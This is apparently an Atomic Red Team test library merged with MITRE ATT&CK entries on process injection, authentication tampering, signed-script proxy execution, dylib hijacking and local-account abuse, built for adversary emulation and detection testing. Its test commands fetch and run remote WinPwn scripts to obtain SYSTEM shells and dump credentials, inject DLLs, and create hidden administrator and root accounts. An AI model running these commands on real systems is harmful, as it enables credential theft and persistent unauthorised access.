kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Boominathan Sundaram x_mitre_deprecated: false x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Metadata' - 'Process: Process Access' - 'Process: Process Modification' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_defense_bypassed: - Application control - Anti-virus x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945 created: '2020-01-14T01:26:08.145Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1055/001 external_id: T1055.001 - source_name: Hiding Malicious Code with Module Stomping description: 'Aliz Hammond. (2019, August 15). Hiding Malicious Code with "Module Stomping": Part 1. Retrieved July 14, 2022.' url: https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/ - source_name: Elastic HuntingNMemory June 2017 description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/hunting-memory - source_name: Elastic Process Injection July 2017 description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Module Stomping for Shellcode Injection description: Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022. url: https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1055.001 atomic_tests: - name: Process Injection via mavinject.exe auto_generated_guid: 74496461-11a1-4982-b439-4d87a550d254 description: | Windows 10 Utility To Inject DLLS. Upon successful execution, powershell.exe will download T1055.dll to disk. Powershell will then spawn mavinject.exe to perform process injection in T1055.dll. With default arguments, expect to see a MessageBox, with notepad's icon in taskbar. supported_platforms: - windows input_arguments: process_id: description: PID of input_arguments type: string default: "(Start-Process notepad -PassThru).id" dll_payload: description: DLL to Inject type: path default: PathToAtomicsFolder\T1055.001\src\x64\T1055.001.dll dependency_executor_name: powershell dependencies: - description: 'Utility to inject must exist on disk at specified location (#{dll_payload}) ' prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.001/src/x64/T1055.001.dll" -OutFile "#{dll_payload}" executor: command: | $mypid = #{process_id} mavinject $mypid /INJECTRUNNING "#{dll_payload}" Stop-Process -processname notepad name: powershell elevation_required: true - name: WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique auto_generated_guid: 8b56f787-73d9-4f1d-87e8-d07e89cbc7f5 description: Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique via function of WinPwn supported_platforms: - windows executor: command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1') name: powershell T1556: technique: modified: '2024-04-11T21:51:44.851Z' name: Modify Authentication Process description: |- Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Chris Ross @xorrior x_mitre_deprecated: false x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - macOS - Network - Azure AD - Google Workspace - IaaS - Office 365 - SaaS x_mitre_version: '2.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Process: Process Access' - 'Logon Session: Logon Session Creation' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Creation' - 'File: File Creation' - 'User Account: User Account Modification' - 'File: File Modification' - 'Module: Module Load' - 'Cloud Service: Cloud Service Modification' - 'Windows Registry: Windows Registry Key Modification' type: attack-pattern id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84 created: '2020-02-11T19:01:56.887Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556 external_id: T1556 - source_name: Clymb3r Function Hook Passwords Sept 2013 description: Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017. url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/ - source_name: Xorrior Authorization Plugins description: Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. url: https://xorrior.com/persistent-credential-theft/ - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - source_name: dump_pwd_dcsync description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. url: https://adsecurity.org/?p=2053 - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1216: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Praetorian - Wes Hurd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe created: '2018-04-18T17:59:24.739Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1216 url: https://attack.mitre.org/techniques/T1216 - source_name: GitHub Ultimate AppLocker Bypass List url: https://github.com/api0cradle/UltimateAppLockerByPassList description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. - source_name: LOLBAS Project url: https://github.com/LOLBAS-Project/LOLBAS#criteria description: Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022. x_mitre_deprecated: false revoked: false description: 'Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)' modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Signed Script Proxy Execution x_mitre_detection: Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Script: Script Execution' x_mitre_defense_bypassed: - Application control - Digital Certificate Validation x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1216 atomic_tests: - name: SyncAppvPublishingServer Signed Script PowerShell Command Execution auto_generated_guid: 275d963d-3f36-476c-8bef-a2a3960ee6eb description: | Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. Upon execution, calc.exe will be launched. supported_platforms: - windows input_arguments: command_to_execute: description: A PowerShell command to execute. type: string default: Start-Process calc executor: command: 'C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}" ' name: command_prompt - name: manage-bde.wsf Signed Script Command Execution auto_generated_guid: 2a8f2d3c-3dec-4262-99dd-150cb2a4d63a description: 'Executes the signed manage-bde.wsf script with options to execute an arbitrary command. ' supported_platforms: - windows input_arguments: command_to_execute: description: A command to execute. type: path default: "%windir%\\System32\\calc.exe" executor: command: | set comspec=#{command_to_execute} cscript %windir%\System32\manage-bde.wsf cleanup_command: 'set comspec=%windir%\System32\cmd.exe ' name: command_prompt T1556.004: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd type: attack-pattern created: '2020-10-19T17:58:04.155Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.004 url: https://attack.mitre.org/techniques/T1556/004 - source_name: Mandiant - Synful Knock url: https://www.mandiant.com/resources/synful-knock-acis description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. modified: '2022-05-11T14:00:00.188Z' name: Network Device Authentication description: |- Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574.004: technique: modified: '2023-10-31T14:00:00.188Z' name: Dylib Hijacking description: |- Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)" x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - macOS x_mitre_version: '2.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'File: File Modification' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490 created: '2020-03-16T15:23:30.896Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/004 external_id: T1574.004 - source_name: MalwareUnicorn macOS Dylib Injection MachO description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021. url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 - source_name: Apple Developer Doco Archive Run-Path description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html - source_name: Wardle Dylib Hijacking OSX 2015 description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf - source_name: Writing Bad Malware for OSX description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf - source_name: Wardle Dylib Hijack Vulnerable Apps description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. url: https://objective-see.com/blog/blog_0x46.html - source_name: wardle artofmalware volume1 description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.' url: https://taomm.org/vol1/pdfs.html - source_name: Github EmpireProject HijackScanner description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py - source_name: Github EmpireProject CreateHijacker Dylib description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1601.002: technique: x_mitre_platforms: - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d type: attack-pattern created: '2020-10-19T19:53:10.576Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1601.002 url: https://attack.mitre.org/techniques/T1601/002 - source_name: Cisco Synful Knock Evolution url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. modified: '2021-04-29T14:49:39.188Z' name: Downgrade System Image description: "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). \ Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). \ " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1078.003: technique: modified: '2023-07-14T13:04:04.591Z' name: 'Valid Accounts: Local Accounts' description: "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Containers - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Logon Session: Logon Session Metadata' - 'User Account: User Account Authentication' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2 created: '2020-03-13T20:26:46.695Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/003 external_id: T1078.003 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1078.003 atomic_tests: - name: Create local account with admin privileges auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15 description: After execution the new account will be active and added to the Administrators group supported_platforms: - windows input_arguments: password: description: Password for art-test user type: string default: "-4RTisCool!-321" executor: command: |- net user art-test /add net user art-test #{password} net localgroup administrators art-test /add cleanup_command: |- net localgroup administrators art-test /delete >nul 2>&1 net user art-test /delete >nul 2>&1 name: command_prompt elevation_required: true - name: Create local account with admin privileges - MacOS auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: |- dscl . -create /Users/AtomicUser dscl . -create /Users/AtomicUser UserShell /bin/bash dscl . -create /Users/AtomicUser RealName "Atomic User" dscl . -create /Users/AtomicUser UniqueID 503 dscl . -create /Users/AtomicUser PrimaryGroupID 503 dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser dscl . -passwd /Users/AtomicUser mySecretPassword dscl . -append /Groups/admin GroupMembership AtomicUser cleanup_command: sudo dscl . -delete /Users/AtomicUser name: bash elevation_required: true - name: Create local account with admin privileges using sysadminctl utility - MacOS auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505 description: After execution the new account will be active and added to the Administrators group supported_platforms: - macos executor: command: sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin cleanup_command: sysadminctl interactive -deleteUser art-tester name: bash elevation_required: true - name: Enable root account using dsenableroot utility - MacOS auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac description: After execution the current/new user will have root access supported_platforms: - macos executor: command: |- dsenableroot #current user dsenableroot -u art-tester -p art-tester -r art-root #new user cleanup_command: |- dsenableroot -d #current user dsenableroot -d -u art-tester -p art-tester #new user name: bash elevation_required: true - name: Add a new/existing user to the admin group using dseditgroup utility - macOS auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875 description: After execution the current/new user will be added to the Admin group supported_platforms: - macos executor: command: dseditgroup -o edit -a art-user -t user admin cleanup_command: dseditgroup -o edit -d art-user -t user admin name: bash elevation_required: true - name: WinPwn - Loot local Credentials - powerhell kittie auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912 description: Loot local Credentials - powerhell kittie technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') obfuskittiedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: WinPwn - Loot local Credentials - Safetykatz auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4 description: Loot local Credentials - Safetykatz technique via function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') safedump -consoleoutput -noninteractive name: powershell elevation_required: true - name: Create local account (Linux) auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357 description: 'An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user. ' supported_platforms: - linux executor: name: bash elevation_required: true command: | password=$(openssl passwd -1 art) ([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0)) su art -c "whoami; exit" cleanup_command: '[ "$(uname)" = ''Linux'' ] && userdel art -rf || rmuser -y art ' - name: Reactivate a locked/expired account (Linux) auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931 description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: bash elevation_required: true command: | useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art usermod --lock art usermod --expiredate "1" art usermod --unlock art usermod --expiredate "99999" art su art whoami exit cleanup_command: "userdel -r art \n" - name: Reactivate a locked/expired account (FreeBSD) auto_generated_guid: '09e3380a-fae5-4255-8b19-9950be0252cf' description: "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n" supported_platforms: - linux executor: name: sh elevation_required: true command: | pw useradd art -g wheel -s /bin/sh echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0 pw lock art pw usermod art -e +1d pw unlock art pw user mod art -e +99d su art whoami exit cleanup_command: "rmuser -y art \n" - name: Login as nobody (Linux) auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: bash elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n" cleanup_command: "chsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n" - name: Login as nobody (freebsd) auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310 description: 'An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody''s shell to /usr/sbin/nologin. ' supported_platforms: - linux executor: name: sh elevation_required: true command: "cat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n" cleanup_command: | pw usermod nobody -s /usr/sbin/nologin cat /etc/passwd |grep nobody # -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin - name: Use PsExec to elevate to NT Authority\SYSTEM account auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733 description: "PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.\n\nThe local system account is a default windows account which has unrestricted access to all system resources.\n\nUpon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit. \n" supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'PsExec tool from Sysinternals must exist in the ExternalPayloads directory ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0 } else { exit 1 } ' get_prereq_command: | New-Item -Type Directory 